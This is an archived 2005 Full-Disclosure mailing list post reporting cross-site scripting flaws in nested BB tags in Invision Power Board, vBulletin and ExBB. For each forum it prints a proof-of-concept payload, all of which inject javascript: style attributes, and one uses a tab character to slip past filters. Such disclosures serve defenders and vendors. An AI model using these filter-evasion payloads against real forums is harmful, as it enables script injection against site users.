OSEC

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[Full-Disclosure] XSS in the nested BB tag in many forum

From: pigrelax (pigrelaxyandex.ru)
Date: Sat Jan 15 2005 - 07:13:38 CST

XSS was found in the nested BB tag in many forum:

Invision Power Board:
[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]`
style=background:url(javascript:alert()) [/COLOR]

vBulletin
[EMAIL=[URL=s as=`swew.ew]mailto:asssswew.ew]
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip
t:alert(/Hi_from_Algol/))` (using tab between "javaSCrip" and "t")

ExBB
[color='[url]http://rerer.rew[/url]]fffff[/color]'
style=background:url(javascript:alert());

Other forum and other BB tag may be vulnerable. Examples above work only in
Internet Explorer.

More info - http://www.securitylab.ru/51808.html and
antichat.ru/txt/IPB/index3.php

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